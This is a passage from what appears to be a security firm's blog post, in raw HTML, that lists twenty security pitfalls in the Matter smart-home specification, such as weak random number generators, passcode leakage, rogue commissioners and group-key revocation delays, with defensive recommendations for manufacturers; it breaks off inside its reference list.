Some security problems are hard to fix due to hardware constraints, economic feasibility, technical limitations or because fixing them would raise other issues. Therefore, we did not include explicit recommendations for some of the presented security pitfalls. Instead, we recommend that manufacturers and developers take these issues into consideration in their risk analysis and try to address them in future iterations of the specification.
We acknowledge that designing the security for complex interoperability framework like Matter is a very difficult task that should not be done lightheartedly.&lt;/p>
&lt;figure>
&lt;picture>
&lt;img src="/blog/matter-security-considerations/20-Matter-Security-Pitfalls-SCHUTZWERK-intext.png" alt="Matter security pitfalls." width="1920" height="1020">
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div class="skew-block blue">
&lt;/div>
&lt;p>&lt;a href="/blog/matter-security-considerations/20-Matter-Security-Pitfalls-SCHUTZWERK.png">View full infographic&lt;/a> or &lt;a href="/blog/matter-security-considerations/20-Matter-Security-Pitfalls-SCHUTZWERK.pdf">Download as PDF&lt;/a>&lt;/figcaption>&lt;/p>
&lt;/figure>
&lt;h3 id="no-1-implementing-a-weak-random-number-generator">No. 1: Implementing a weak random number generator&lt;/h3>
&lt;p>We found that most of Matter&amp;rsquo;s security relies on the implementation of a sufficient Random Number Generator (RNG). Even though Matter ensures at some parts of the specification (e.g., the initial PASE), that insufficient randomness by one party does not compromise the security of the protocol, insufficient randomness of both communicating parties certainly will. If you are implementing Matter devices, we cannot stress enough that you will certainly want to make use of a good RNG to not risk any attacks on the otherwise cryptographically secure protocols.
The security model of Matter is designed for use with a True Random Number Generator (TRNG) with an entropy of at least 256 bits as the seeder for a Pseudo Random Number Generator (PRNG) with either CTR DRBG (with AES-CTR), HMAC DRBG (with SHA-256 or SHA-512) or Hash DRBG (with SHA-256 or SHA-512) as described in NIST 800-90A and NIST 800-90B [2, Chpts. 3.1, 3.2].
Further information on RNG attacks can be found in our blog post &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/attacking-a-rng/"
class="link-background inline split"
>
&lt;span class="link-label">Attacking&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/attacking-a-rng/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/attacking-a-rng/"
class="link-background inline split"
>
&lt;span class="link-label">Random&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/attacking-a-rng/"
class="link-background inline split"
>
&lt;span class="link-label">Number&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/attacking-a-rng/"
class="link-background inline split"
>
&lt;span class="link-label">Generator&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p>
&lt;h3 id="no-2-insufficient-protection-of-the-device-passcode">No. 2: Insufficient protection of the device passcode&lt;/h3>
&lt;p>Matter device passcodes are used for commissioning (the initial pairing) and can be either static, dynamic or ephemeral [2, Chpts. 5.1.7, 5.7.3.2.1]. Because dynamic passcodes are not yet fully specified, we expect that devices following the first version of the Matter specification use either static or ephemeral passcodes. The use of static passcodes, which may be distributed in text form, as a QR code or NFC tag, requires manufacturers to protect the secrecy of each individual passcode. The secrecy is risked by the following:&lt;/p>
&lt;ul>
&lt;li>Insufficient randomness of individual device passcodes&lt;/li>
&lt;li>Passcode read-out from closed packaging (NFC)&lt;/li>
&lt;li>Passcode read-out using a camera (e.g., long-range camera through a window)&lt;/li>
&lt;li>Offline brute-force attacks against the SPAKE2+ algorithm used during the PASE&lt;/li>
&lt;li>Insecure use of the recommended copy/paste function for multi-function devices, e.g., by using the shared clipboard on outdated devices, which would allow other applications access to the device passcode&lt;/li>
&lt;li>Insecure proof-of-possession during passcode recovery by the manufacturer support&lt;/li>
&lt;li>Insecure transport of recovered passcodes&lt;/li>
&lt;li>Abuse of the recovery program by manufacturer staff&lt;/li>
&lt;li>Leakage during production of packaging by staff member&lt;/li>
&lt;li>Passcode that are not sealed in closed packaging might be retrieved when packaging is opened at retail for demonstration purposes&lt;/li>
&lt;li>Read-out from device hardware (e.g., memory read-out)&lt;/li>
&lt;li>Insufficient education of users on how to securely store credentials&lt;/li>
&lt;li>Resale of used devices (static passcodes)&lt;/li>
&lt;li>Accidental disclosure via the &lt;code>MTop&lt;/code> URL parameter in the manufacturer custom flow&lt;/li>
&lt;/ul>
&lt;p>Any failures to protect passcode secrecy allow an attacker to either eavesdrop on commissioning, which, besides others, leaks the network secret used for the underlying channel (e.g., Wi-Fi WPA-2 network key), or allows an attacker to commission the device under specific circumstances.&lt;/p>
&lt;h3 id="no-3-insecure-implementation-of-the-multi-admin-and-multi-fabrics-feature">No. 3: Insecure implementation of the multi-admin and multi-fabrics feature&lt;/h3>
&lt;p>Multi-admin [2, Chpt. 12] is a feature that provides much usability, but comes at a price:
multi-admin risks, that an attacker is able to obtain administrative rights without the user noticing.
We noticed that the description of the multi-admin and multi-fabrics feature is currently underspecified, which leaves room for misinterpretations which in many cases significantly impact device security. To the best of our understanding, we believe that the multi-admin feature can currently only be implemented securely in the following way:&lt;/p>
&lt;p>Each fabric has exactly one root certificate authority (RCA), which can appoint and revoke intermediate certificate authorities (ICAs). Both RCA and ICAs may equally administer nodes in a fabric according to the devices' access control lists (ACLs), but the ICAs are not able to revoke each other or the RCA.
A deviation, in which multiple RCAs, or similar administrators of equal power exist within a fabric, risks multiple additional security problems and make it far easier for an attacker to abuse the multi-admin feature to gain control over a device.
It currently seems possible for administrators to revoke privileges of other administrators.
However, the specification unambiguously allows multiple administrators that are unrelated by any common roots of trust [2, Chpt. 2.4]. In this case, attacks that target the basic commissioning method (BCM) [2, Chpt. 5.6.2] or enhanced commissioning method (ECM) [2, Chpt. 5.6.3] are easier to achieve.&lt;/p>
&lt;p>BCM is optional and risks, that an attacker is able to become administrator if they are in possession of the passcode, connected to the underlying communication channel, and respond faster than the user&amp;rsquo;s genuine multi-admin.
An attacker that is able to trigger BCM is not able to escalate privileges unless they are in possession of the passcode.&lt;/p>
&lt;p>ECM is mandatory and requires no knowledge of the passcode, but instead the ability to surveil the output of the administrator which displays or audio-outputs the ephemeral passcode.
Apart from that, the attack remains the same as with BCM.
ECM adds another weakness when an attacker gains one-time access to the administrative application because this would allow the attacker to trivially add their own devices without requiring passcodes.
Given that administrative applications will probably be mostly used on smartphones, social engineering-based attacks where a phone is borrowed for a call (or other pretexts) are likely to succeed unless the administrative application itself is protected with a passphrase (and auto-logout), hindering the attacker from opening the administrative interface.
Choosing the right mode depends on the device type and target group, which developers should take into consideration.&lt;/p>
&lt;p>As a side remark, ECM with audio output and an external (potentially third-party) voice assistant enabled such as Alexa, Cortana or Siri has quite obvious security implications some technically aware users are probably not willing to risk.
There already is &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.bleepingcomputer.com/news/security/newly-found-android-malware-records-audio-tracks-your-location/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">smartphone&lt;/span>
&lt;/a>&lt;a
href="https://www.bleepingcomputer.com/news/security/newly-found-android-malware-records-audio-tracks-your-location/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">malware&lt;/span>
&lt;/a>&lt;a
href="https://www.bleepingcomputer.com/news/security/newly-found-android-malware-records-audio-tracks-your-location/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">that&lt;/span>
&lt;/a>&lt;a
href="https://www.bleepingcomputer.com/news/security/newly-found-android-malware-records-audio-tracks-your-location/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">records&lt;/span>
&lt;/a>&lt;a
href="https://www.bleepingcomputer.com/news/security/newly-found-android-malware-records-audio-tracks-your-location/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">audio&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, so let&amp;rsquo;s better consider that new malware might not only record audio, but also analyze Matter traffic and auto-reply in ECM, which is a horrific scenario.&lt;/p>
&lt;h3 id="no-4-failure-to-achieve-unique-identifiers">No. 4: Failure to achieve unique identifiers&lt;/h3>
&lt;p>Matter uses various identifiers (IDs) [2, Chpt. 2.5], such as the fabric ID, node ID and group ID. These three identifiers need to be unique to avoid unspecified behavior. However, because their uniqueness is guaranteed in a module referred to as the administrative domain manager (ADM), which is explicitly out-of-scope of the specification, manufacturers need to ensure themselves that they implement unique and non-colliding identifiers. For fabric identifiers, this is even more difficult, because sometimes, compressed fabric identifiers are used instead, and we therefore suggest to include checks against collision of compressed fabric identifiers, as well.
Non-unique identifiers also risk undefined behavior in user interfaces.&lt;/p>
&lt;h3 id="no-5-risking-access-control-list-wildcards-and-inconsistencies">No. 5: Risking access control list wildcards and inconsistencies&lt;/h3>
&lt;p>ACLs in Matter are empty after factory reset and deny access by default. However, empty subject lists in a DCL grant access to any subject. When developing a Matter device, manufacturers should therefore ensure to not risk the production of wildcards when a subject is removed from a subject list [2, Chpt. 6.6.2.2], for example by making the removal idempotent such that a subject list is removed if an empty subject list would be created.&lt;/p>
&lt;p>Administrators are sometimes required to alter an ACL entry for a group.
However, because timely success of the modification cannot be guaranteed, it is possible that a node grants obsolete privileges until it receives the update.
Even worse, there is a risk that when the connection fails too often, inconsistencies in group ACL entries are achieved, which an attacker could try to abuse.&lt;/p>
&lt;h3 id="no-6-risks-specific-to-bridges-and-bridged-devices">No. 6: Risks specific to bridges and bridged devices&lt;/h3>
&lt;p>Non-Matter devices can be integrated into a Matter network with bridges [2, Chpt. 9.12].
An administrator is not meant to distinguish bridged devices from Matter-native devices, but will instead grant requested privileges to the bridge, which then inherits all of its privileges to the bridged devices.
Manufacturers must take caution to grant bridges as few privileges as necessary, especially if the communication between bridge and bridged device is less secure than communication in Matter.
Furthermore, we advise that administrative interfaces group bridged devices and their bridges together in such a way that it intuitively becomes clear that the devices share the same set of permissions.
We suggest to educate users about the security implications of using bridges, to avoid any misunderstandings where a user wishes to grant permissions exclusively to one of the bridged devices, but not to the bridge itself or any of the other bridged devices.
Keep in mind that end users are mostly technically unaware and usually fail to understand concepts that are self-evident for developers.&lt;/p>
&lt;h3 id="no-7-risking-privacy-by-advertising-vendor-and-product-identifiers-via-dns-or-bluetooth">No. 7: Risking privacy by advertising vendor and product identifiers via DNS or Bluetooth&lt;/h3>
&lt;p>Advertising the vendor ID (VID) and product ID (PID) can leak potentially private information [2, Chpt. 5.4.2.5.6] and might even allow to infer information about the interiors of a building (e.g., the number of body scales might be equal to the number of bathrooms). We recommend to disable the advertisement of VIDs and PIDs per default, but allow the user to opt-in for the advertisement for usability reasons.&lt;/p>
&lt;h3 id="no-8-risks-specific-to-controllers-commissioners-edge-routers-bridges-ota-providers-and-ota-requestors">No. 8: Risks specific to controllers, commissioners, edge routers, bridges, OTA providers and OTA requestors&lt;/h3>
&lt;p>Controllers, commissioners, edge routers, bridges, over-the-air (OTA) providers and OTA requestors play powerful roles in a Matter network.
While edge routers and bridges have an inherent middle-man position that makes it easier for them to drop and modify traffic, controllers (also referred to as administrators), commissioners and bridges influence which devices can participate in Matter communication and how, while OTA providers and OTA requestors have an impact on the device firmware of other devices. Because of this, these devices are of special interest for an attacker, and therefore, each device of this type should be especially security-hardened.&lt;/p>
&lt;h3 id="no-9-unsanitized-user-input">No. 9: Unsanitized user input&lt;/h3>
&lt;p>Some devices might allow their users to modify the device name (DN), also referred to as friendly name [2, Chpt. 4.3.3]. This name can be advertised over DNS and is probably a popular attribute to display in user interfaces to allow the user to select a device. If not validated and sanitized properly, any user input such as the DN might be abused for code injection.&lt;/p>
&lt;h3 id="no-10-rogue-commissioners">No. 10: Rogue commissioners&lt;/h3>
&lt;p>During commissioner discovery, a node can discover and display potential commissioners [2, Chpt. 4.3.3]. But because any of the advertised information can be spoofed, an attacker can trick a commissionee into commissioning with an evil twin commissioner, which we call the &lt;em>rogue commissioner&lt;/em>. Such attacks are expected when the user interface displays the advertised information in such a way, that the user is tricked into assuming that the malicious device is the genuine commissioner, for example by cloning VID, PID, DN and/or MAC address, depending on which of the information is displayed to the user.
The attack is even more devastating if the attacker is able to suppress advertisement by the genuine commissioner, for example by dropping the advertisement as an edge router on the route between genuine commissioner and commissionee. The attack requires the attacker to be in possession of the passcode, and risks commissioning to an attacker-controlled device in an attacker-controlled network.
The following figures depict two different ways in which a rogue commissioner may be perceived by a user:&lt;/p>
&lt;p>
&lt;figure
style="width: 50%;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/matter-security-considerations/rogue-commissioner-cmu_huf90ac4b4fd2784d7ca9c3cabb856e67d_17400_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/matter-security-considerations/rogue-commissioner-cmu_huf90ac4b4fd2784d7ca9c3cabb856e67d_17400_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/matter-security-considerations/rogue-commissioner-cmu_huf90ac4b4fd2784d7ca9c3cabb856e67d_17400_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/matter-security-considerations/rogue-commissioner-cmu.png"
width="642"
height="334"
alt="Figure 4: A rogue commissioner using the same MAC address as the legitimate commissioner."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Figure 4: A rogue commissioner using the same MAC address as the legitimate commissioner.&lt;/figcaption>
&lt;/figure>
&lt;figure
style="width: 50%;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/matter-security-considerations/rogue-commissioner2-cmu_huabc92b087c0f13705ff12f8adb5bb5f1_23859_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/matter-security-considerations/rogue-commissioner2-cmu_huabc92b087c0f13705ff12f8adb5bb5f1_23859_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/matter-security-considerations/rogue-commissioner2-cmu_huabc92b087c0f13705ff12f8adb5bb5f1_23859_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/matter-security-considerations/rogue-commissioner2-cmu.png"
width="616"
height="334"
alt="Figure 5: A rogue commissioner using the same name, make and model as the legitimate commissioner."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Figure 5: A rogue commissioner using the same name, make and model as the legitimate commissioner.&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;h3 id="no-11-devices-may-ignore-device-attestation-verification-results">No. 11: Devices may ignore device attestation verification results&lt;/h3>
&lt;p>Even though Matter advertises that only Matter-certified devices can participate in a Matter network, as of the first iteration of the specification this is not correct, because device attestation verification results may be ignored by the commissioner [2, Chpt. 5.5].
Therefore, even though the device attestation verification itself is mandatory, it is totally within the specification to perform the verification, but continue with commissioning regardless of the results.
Because of this, there currently are no guarantees that commissioned devices behave according to the specification.
Because being able to integrate non-certified devices is a desired feature especially for the free and open-source software (FOSS) community, we do not expect that the specification will change in this aspect, but we recommend that developers make device attestation verification an opt-out for a secure-by-design setting, while keeping in mind that unexpected behavior can occur from both commissioned and uncommissioned devices.&lt;/p>
&lt;h3 id="no-12-evil-twin-attack">No. 12: Evil twin attack&lt;/h3>
&lt;p>When a Matter network uses Wi-Fi as the underlying communication channel, the commissioning and network configuration process becomes vulnerable against the evil twin attack, because it is near impossible for Matter to protect against this kind of attack. An evil twin attack on Wi-Fi occurs, when the attacker clones the SSID of a genuine Wi-Fi network so that auto-connecting devices connect to the malicious network instead of the genuine one. The attack might even go unnoticed if the attacker is connected to both networks and can relay the communication, taking a machine-in-the-middle (MitM) position. We suggest that the attack might be detectable by comparing traceroute results [4].&lt;/p>
&lt;h3 id="no-13-manipulation-of-the-commissioning-custom-flow-url">No. 13: Manipulation of the Commissioning Custom Flow Url&lt;/h3>
&lt;p>There is a risk that the attacker is able to trick a user into opening a malicious website with a commissioner or commissionee (which is most likely a device such as a smartphone or television), even if the attacker is not able to influence the rest of the commissioning to the genuine device.
This is because the &lt;code>CommissioningCustomFlowUrl&lt;/code> is determined using the PID and VID advertised by the commissionee over the unsecured device discovery [2, Chpt. 5.1.1.3]. The attacker might be able to spoof the value such that the advertisement contains a different PID or VID.
This becomes problematic when there is at least one abandoned or compromised &lt;code>CommissioningCustomFlowUrl&lt;/code> included in the DCL, and when the commissioning application does not check whether the DCL entry was revoked.
The commissioner is not able to confirm that PID and VID are correct unless the information is explicitly provided or checked by the user, or if the application itself contains other means of restricting valid identifiers.
We hope that DCL entries containing malicious URLs will be revoked upon discovery, but since there will always be someone that will be first to discover the compromise, clients accessing this information must make sure to check that the information is still valid at the moment and may ask the user to confirm the VID and PID, which can be mapped to the vendor and product name instead.&lt;/p>
&lt;h3 id="no-14-http-downgrade-attack">No. 14: HTTP downgrade attack&lt;/h3>
&lt;p>Although the specification requires links to start with HTTPS [2, Chpt. 4.2.8], implying the use of transport encryption, there is no way that the CSA or Matter specification can enforce the use of transport encryption.
We therefore recommend to implement an HTTPS-only mode in devices such that unencrypted communication over HTTP is rejected to prevent HTTP downgrade attacks.&lt;/p>
&lt;h3 id="no-15-missing-minimal-requirements-for-underlying-communication-channels">No. 15: Missing minimal requirements for underlying communication channels&lt;/h3>
&lt;p>Currently there are no minimal requirements for the underlying communication channel, as long as it uses Wi-Fi, Ethernet or Thread.
We suggest that Matter Wi-Fi devices use WPA-2 or newer to protect the communication channel, and for commissioning over BLE version 5.2 or newer in Secure Connection Only Mode (Secure Mode 1 with Security Level 4, FIPS mode). This way, many vulnerabilities of the underlying communication channel can be mitigated, which alone are not sufficient to break the security of Matter but widen the attack surface.
Another option would be to allow less secure protocols only as an opt-in, which provides compatibility with older devices.&lt;/p>
&lt;h3 id="no-16-manipulation-of-sleepy-end-device-parameters">No. 16: Manipulation of sleepy end device parameters&lt;/h3>
&lt;p>Sleepy end devices (SEDs) in general are equally secured as regular nodes.
SED parameters are used to configure the active and idle intervals [2, Chpt. 2.9]. The attacker can deplete the node&amp;rsquo;s energy by increasing the active interval and decreasing the idle interval, and they can slow down polling by increasing the idle interval.
Slowing down polling is specifically interesting if the device retrieves sensor data and is configured to issue warnings on specific values or changes, while energy depletion can cause premature end-of-life if the battery is not rechargeable or exchangeable, and can result in temporary denial-of-service (DoS). A Non-Matter-specific depletion attack can be performed by continuously messaging the SED to prevent it from switching to idle mode. During the PASE, the SED parameters are part of the context, preventing the attacker from modifying the values.&lt;/p>
&lt;p>However, during the CASE and discovery, the SED parameters are transmitted such that any modification of an attacker (e.g., by a malicious edge router) goes unnoticed, because they are sent in unsecured plaintext instead of being signed, hashed or encrypted, allowing the attacker to influence polling and transmission behavior.
We believe the problem is fixed in future revisions by moving SED parameters to the to-be-signed part of the exchange, but in the meantime, manufacturers should be aware that the receiver of a session establishment message might assume other parameters than those sent by the genuine sender.&lt;/p>
&lt;h3 id="no-17-status-report-message-injection">No. 17: Status report message injection&lt;/h3>
&lt;p>There are four unsecured status report messages of the secure channel protocol that can be injected into the network [2, Chpt. 4.10.1.3]: &lt;code>NO_SHARED_TRUST-ROOTS&lt;/code>, &lt;code>BUSY&lt;/code> and &lt;code>INVALID_PARAMETER&lt;/code> can be used to interrupt PASE and CASE session establishments between two genuine devices, and &lt;code>SESSION_ESTABLISHMENT_SUCCESS&lt;/code>, which is used to indicate successful session establishment, but can cause undefined behavior when a device implements a flawed process flow. Using &lt;code>BUSY&lt;/code>, the attacker is able to discard unfavorable randoms as depicted in the below figure, because the session establishment is restarted after the duration of the requested timeout, and a fresh random is sent.
While, as long as a sufficiently strong RNG is implemented, the entropy of the random is sufficient for the establishment to remain secure, an attacker (or pentester) could use this status report message to remotely examine the randomness of another device&amp;rsquo;s RNG.&lt;/p>
&lt;figure
style="width: 70%;"
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/matter-security-considerations/busy-1-cmu_hu87451fb0b6ef2b14c6fa3ca824543dfb_67572_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/matter-security-considerations/busy-1-cmu_hu87451fb0b6ef2b14c6fa3ca824543dfb_67572_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/matter-security-considerations/busy-1-cmu_hu87451fb0b6ef2b14c6fa3ca824543dfb_67572_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/matter-security-considerations/busy-1-cmu.png"
width="914"
height="564"
alt="Figure 6: An injected BUSY status report that is used to obtain another random."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Figure 6: An injected BUSY status report that is used to obtain another random.&lt;/figcaption>
&lt;/figure>
&lt;h3 id="no-18-revocation-from-groups">No. 18: Revocation from groups&lt;/h3>
&lt;p>There is a significant risk that revocation from a group is handled in a way that the revoked member is able to participate in group communication far longer than is expected by the user.
This is because operational group keys are derived from epoch keys [2, Chpt. 4.15]. Nodes can be given up to three epoch keys simultaneously.
Epoch-based group communication allows scaleable revocation of group members by not handing out the next epoch key, which ultimately denies access to group communication from a cryptographic perspective.&lt;/p>
&lt;p>However, in Matter, epochs are recommended to last for days to weeks.
In worst case, an administrative interface implements group revocation such that the administrator responds with immediate removal of the revoked node&amp;rsquo;s representation within the group member list, while maybe instructing the revoked node to remove its keys. In this situation, the user would be misled to assume that the revoked group member is not able to participate in group communication the moment it is shown as removed, while the node in worst case is still able to participate, especially in terms of listening, in group communication for up to two epochs, which is significantly longer than a technically unaware user would expect.
This risks serious privacy and security breaches, for example if an employee is granted temporary access to a system, potentially under supervision, that is revoked shortly after.
Here, the employee gains unsupervised access to a group, which might become an easily overlooked security risk.&lt;/p>
&lt;p>The problem can be prevented by ensuring that the &lt;em>Admin Refresh&lt;/em> command is used after group member revocation, so that the epoch keys are completely rotated.
However, this somehow reduces the benefits of using epochs for group communication, so we recommend to make this behavior an opt-in, allowing users to switch between the two modes.
More importantly, administrative interfaces should ensure to correctly display the exact point of time at which a group member is fully removed from a group &lt;em>from a cryptographic perspective&lt;/em>.&lt;/p>
&lt;h3 id="no-19-underspecification-of-timed-interactions">No. 19: Underspecification of timed interactions&lt;/h3>
&lt;p>Matter uses timed interactions to protect against replay attacks [2, Chpt. 7.6.10]. We consider them to be a great protective measure, and because it has not yet been specified, recommend to implement them in a way that limits triggering of an action to at most once during the specified interval.
This is because implementations are not required to support cache-and-sync message counter synchronization, which can occur on certain events such as device reboot, making the device potentially vulnerable against replay attacks because the first authenticated message is trusted in the trust-first policy.
To make it clear, both message counters and timed interactions protect against replay attacks, each narrowing the time frame in which such attack is possible to an extent where the attack is unlikely to succeed.
By closing the receive window after the interaction was received, the replay attacks (of secured communication) become almost impossible.&lt;/p>
&lt;h3 id="no-20-dysfunctional-implementations-of-event-logging">No. 20: Dysfunctional implementations of event logging&lt;/h3>
&lt;p>Logging in Matter is implemented via event records [2, Chpt. 7.14].
Events are categorized into three priority levels (debug, info, critical).
Newer event records may overwrite older event records of the same priority level.
However, it is not described how buffer is reserved for each priority level. This is probably a no-brainer, but make sure that for each priority level, sufficient space in buffer is reserved instead of relying on an even distribution when the buffer is filled for the first time.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>We found that Matter keeps up with most of its security claims. We pointed out some of the weaknesses that manufacturers might want to address to further strengthen the security of their products.
The presented weaknesses were taken from a master&amp;rsquo;s thesis by Melissa Loos, which was created at &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/"
class="link-background inline split"
>
&lt;span class="link-label">SCHUTZWERK&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/"
class="link-background inline split"
>
&lt;span class="link-label">GmbH&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
in cooperation with &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://uni-ulm.de/en/in/vs"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Ulm&lt;/span>
&lt;/a>&lt;a
href="https://uni-ulm.de/en/in/vs"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">University&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. It is publicly released at the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://dx.doi.org/10.18725/OPARU-48934"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Oparu&lt;/span>
&lt;/a>&lt;a
href="https://dx.doi.org/10.18725/OPARU-48934"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">platform&lt;/span>
&lt;/a>&lt;a
href="https://dx.doi.org/10.18725/OPARU-48934"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://dx.doi.org/10.18725/OPARU-48934"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Ulm&lt;/span>
&lt;/a>&lt;a
href="https://dx.doi.org/10.18725/OPARU-48934"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">University&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.
Feel free to contact us if you want our help in further improving the security of your Matter products.&lt;/p>
&lt;h2 id="references--credits">References / Credits&lt;/h2>
&lt;ul>
&lt;li>[1] Melissa Loos. &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="mailto:mloos@schutzwerk.com"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Security&lt;/span>
&lt;/a>&lt;a
href="mailto:mloos@schutzwerk.com"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Analysis&lt;/span>
&lt;/a>&lt;a
href="mailto:mloos@schutzwerk.com"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="mailto:mloos@schutzwerk.com"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Matter&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, Masterthesis, Ulm University, January 2023.&lt;/li>
&lt;li>[2] Connectivity Standards Alliance. &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://csa-iot.org/developer-resource/specifications-download-request/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Matter&lt;/span>
&lt;/a>&lt;a
href="https://csa-iot.org/developer-resource/specifications-download-request/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Core&lt;/span>
&lt;/a>&lt;a
href="https://csa-iot.org/developer-resource/specifications-download-request/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Specification&lt;/span>
&lt;/a>&lt;a
href="https://csa-iot.org/developer-resource/specifications-download-request/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">1.0&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, October 2022.&lt;/li>
&lt;li>[3] Connectivity Standards Alliance. &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://csa-iot.org/wp-content/uploads/2022/03/Matter_Security_and_Privacy_WP_March-2022.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Matter&lt;/span>
&lt;/a>&lt;a
href="https://csa-iot.org/wp-content/uploads/2022/03/Matter_Security_and_Privacy_WP_March-2022.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Security&lt;/span>
&lt;/a>&lt;a
href="https://csa-iot.org/wp-content/uploads/2022/03/Matter_Security_and_Privacy_WP_March-2022.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://csa-iot.org/wp-content/uploads/2022/03/Matter_Security_and_Privacy_WP_March-2022.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Privacy&lt;/span>
&lt;/a>&lt;a
href="https://csa-iot.org/wp-content/uploads/2022/03/Matter_Security_and_Privacy_WP_March-2022.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Fundamentals&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, March 2022.&lt;/li>
&lt;li>[4] Alex Burns, Longfei Wu, Xiaojiang Du, Liehuang Zhu. &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://ieeexplore.ieee.org/abstract/document/8253957"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">A&lt;/span>
&lt;/a>&lt;a
href="https://ieeexplore.ieee.org/abstract/document/8253957"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Novel&lt;/span>
&lt;/a>&lt;a
href="https://ieeexplore.ieee.org/abstract/document/8253957"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Traceroute-Based&lt;/span>
&lt;/a>&lt;a
href="https://ieeexplore.ieee.org/abstract/document/8253957"
